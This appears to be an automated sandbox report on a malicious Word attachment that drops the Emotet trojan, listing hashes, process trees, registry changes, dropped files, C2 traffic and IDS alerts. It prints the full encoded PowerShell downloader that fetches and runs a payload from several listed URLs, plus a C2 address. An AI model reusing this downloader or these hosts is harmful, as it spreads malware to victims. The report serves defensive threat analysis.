| File name: | Attachment 056030 9279530209.doc |
| Full analysis: | https://app.any.run/tasks/a834b560-e913-4537-8965-9ecb71d53120 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 20, 2019, 08:33:50 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Group Senior Virginia, Subject: best-of-breed, Author: Natalia Wolff, Comments: Course, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon May 13 20:26:00 2019, Last Saved Time/Date: Mon May 13 20:26:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 3, Security: 0 |
| MD5: | 2D04B82C82149DD0B069CB42CB879C6E |
| SHA1: | F589101016B42180D2BB99814A081C27203DDD9F |
| SHA256: | 1492C09810E6F698086EBBC6A817144BE26AE8E297F79D260A2C86D7919E819A |
| SSDEEP: | 3072:O77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qZ9pZ37TtQ8naK:O77HUUUUUUUUUUUUUUUUUUUT52VUZ37V |
MALICIOUS
Application was dropped or rewritten from another process
- 727.exe (PID: 3556)
- 727.exe (PID: 3000)
- 5WWdTB7s7d.exe (PID: 3880)
- 5WWdTB7s7d.exe (PID: 3344)
- soundser.exe (PID: 3048)
- soundser.exe (PID: 1892)
- soundser.exe (PID: 2596)
- soundser.exe (PID: 1480)
Downloads executable files from the Internet
- powershell.exe (PID: 3372)
EMOTET was detected
- soundser.exe (PID: 1892)
Connects to CnC server
- soundser.exe (PID: 1892)
Emotet process was detected
- soundser.exe (PID: 3048)
- soundser.exe (PID: 2596)
Changes the autorun value in the registry
- soundser.exe (PID: 1892)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3372)
PowerShell script executed
- powershell.exe (PID: 3372)
Application launched itself
- 727.exe (PID: 3556)
- soundser.exe (PID: 3048)
Executed via WMI
- powershell.exe (PID: 3372)
Executable content was dropped or overwritten
- powershell.exe (PID: 3372)
- 727.exe (PID: 3000)
- soundser.exe (PID: 1892)
- 5WWdTB7s7d.exe (PID: 3344)
Starts itself from another location
- 727.exe (PID: 3000)
- 5WWdTB7s7d.exe (PID: 3344)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2912)
Creates files in the user directory
- WINWORD.EXE (PID: 2912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserTypeLen: | 32 |
|---|---|
| CompObjUserType: | Microsoft Word 97-2003 Document |
| Title: | Group Senior Virginia |
| Subject: | best-of-breed |
| Author: | Natalia Wolff |
| Keywords: | - |
| Comments: | Course |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:13 19:26:00 |
| ModifyDate: | 2019:05:13 19:26:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 3 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Satterfield LLC |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 3 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Weimann |
Total processes
44
Monitored processes
10
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1480 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | — | soundser.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1892 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2596 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 5WWdTB7s7d.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2912 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Attachment 056030 9279530209.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3000 | --8c65d0ba | C:\Users\admin\727.exe | 727.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3048 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 727.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3344 | --30398ead | C:\Users\admin\AppData\Local\soundser\5WWdTB7s7d.exe | 5WWdTB7s7d.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3372 | powershell -e JABxADQAOAAxADQAXwA0ADAAPQAnAHoANQA3ADIAMwAxADEAJwA7ACQAbgBfADUAOAA0ADYANgAgAD0AIAAnADcAMgA3ACcAOwAkAEcAMQAzADMAMAAyAD0AJwBzADAAMwAwADIAMAA1ADUAJwA7ACQAdwAwADcAMwA2ADcAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbgBfADUAOAA0ADYANgArACcALgBlAHgAZQAnADsAJABiADcAMAA3ADYAOQA5ADIAPQAnAEgANwA0ADkANwAxADkAOQAnADsAJABQAF8ANAA1ADEANwA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBgAGUAYABUAC4AVwBFAEIAQwBsAEkAZQBuAHQAOwAkAGIANQA4ADgANAAxADUAPQAnAGgAdAB0AHAAOgAvAC8AeAB5AGMAaQBuAGQAdQBzAHQAcgBpAGEAbAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAzAG8AegA1AGYAOAAwADkAOAAyAC8AQABoAHQAdABwADoALwAvAGEAcgBzAHQAdQBkAGkAbwByAGUAbgB0AGEAbAAuAGMAbwBtAC8AZQBjAG0AeQBsAC8AcABhAHAAawBhAGEAMQA3AC8AZgA4AHYAaABrAHQAeAAyADgAMgA1AC8AQABoAHQAdABwADoALwAvAHQAZQBjAGgAbgBvAHMAbwBmAHQAcwBlAHIAdgBpAGMAZQBzAHMALgBjAG8AbQAvAGIAaABsAGQAeQB1AC8AdQBuADkANgAvAEAAaAB0AHQAcAA6AC8ALwBlAGcAcgBlAHMAcwB3AGkAbgBkAG8AdwBzAHkAcwB0AGUAbQBzAC4AYwBvAG0ALwBtAGEAZwBpAGMAegBvAG8AbQBwAGwAdQBzAC8AdgBoADgALwBAAGgAdAB0AHAAOgAvAC8AcwB0AGEAcgAtAHMAcABvAHIAdAAuAGMAbwBtAC8AbABhAGMAYwAvADgAdgAwAGgAYgAxADYAMwA5AC8AJwAuAHMAUABsAGkAVAAoACcAQAAnACkAOwAkAEoAMwBfADYAMQAzADIAPQAnAG8AOQAwADIAMgAzACcAOwBmAG8AcgBlAGEAYwBoACgAJABOADYAMwA4ADQANgA4ADMAIABpAG4AIAAkAGIANQA4ADgANAAxADUAKQB7AHQAcgB5AHsAJABQAF8ANAA1ADEANwAuAGQAbwB3AG4ATABPAGEAZABmAEkAbABFACgAJABOADYAMwA4ADQANgA4ADMALAAgACQAdwAwADcAMwA2ADcAMgApADsAJABaADcANQA2ADgAXwA0AD0AJwBpADUAMwAyADEAOAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAHcAMAA3ADMANgA3ADIAKQAuAEwAZQBuAEcAVABoACAALQBnAGUAIAAyADUAMgA2ADQAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAdwAwADcAMwA2ADcAMgA7ACQAUgA4ADQANwAzADgANwAwAD0AJwBQADUAMgA2ADQAOAAnADsAYgByAGUAYQBrADsAJABvADAANgAzADgAOQA9ACcAawAwADIAOAAxADcAOAA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMAA0ADkAMAAwADcAPQAnAHMANQBfAF8ANQAwADYAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3556 | "C:\Users\admin\727.exe" | C:\Users\admin\727.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3880 | "C:\Users\admin\AppData\Local\soundser\5WWdTB7s7d.exe" | C:\Users\admin\AppData\Local\soundser\5WWdTB7s7d.exe | — | soundser.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
1 835
Read events
1 350
Write events
480
Delete events
5
Modification events
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | v= |
Value: 7F763D00600B0000010000000000000000000000 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320419358 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320419472 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320419473 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 600B0000FCAE05C9E60ED50100000000 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | gw= |
Value: 67773D00600B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | gw= |
Value: 67773D00600B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
4
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE7F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OSTH5N2XR4SX39O01Q0S.temp | — | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12196c.TMP | binary | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 1892 | soundser.exe | C:\Users\admin\AppData\Local\soundser\5WWdTB7s7d.exe | executable | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\727.exe | executable | |
MD5:— | SHA256:— | |||
| 3000 | 727.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:— | SHA256:— | |||
| 3344 | 5WWdTB7s7d.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3372 | powershell.exe | GET | 200 | 122.155.17.188:80 | http://xycindustrial.com/wp-content/uploads/3oz5f80982/ | TH | executable | 121 Kb | suspicious |
1892 | soundser.exe | POST | 200 | 181.15.177.100:443 | http://181.15.177.100:443/rtm/pdf/ | AR | binary | 65.6 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1892 | soundser.exe | 181.15.177.100:443 | — | Telecom Argentina S.A. | AR | malicious |
3372 | powershell.exe | 122.155.17.188:80 | xycindustrial.com | The Communication Authoity of Thailand, CAT | TH | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
xycindustrial.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3372 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3372 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3372 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1892 | soundser.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 6 |
1892 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1892 | soundser.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
3 ETPRO signatures available at the full report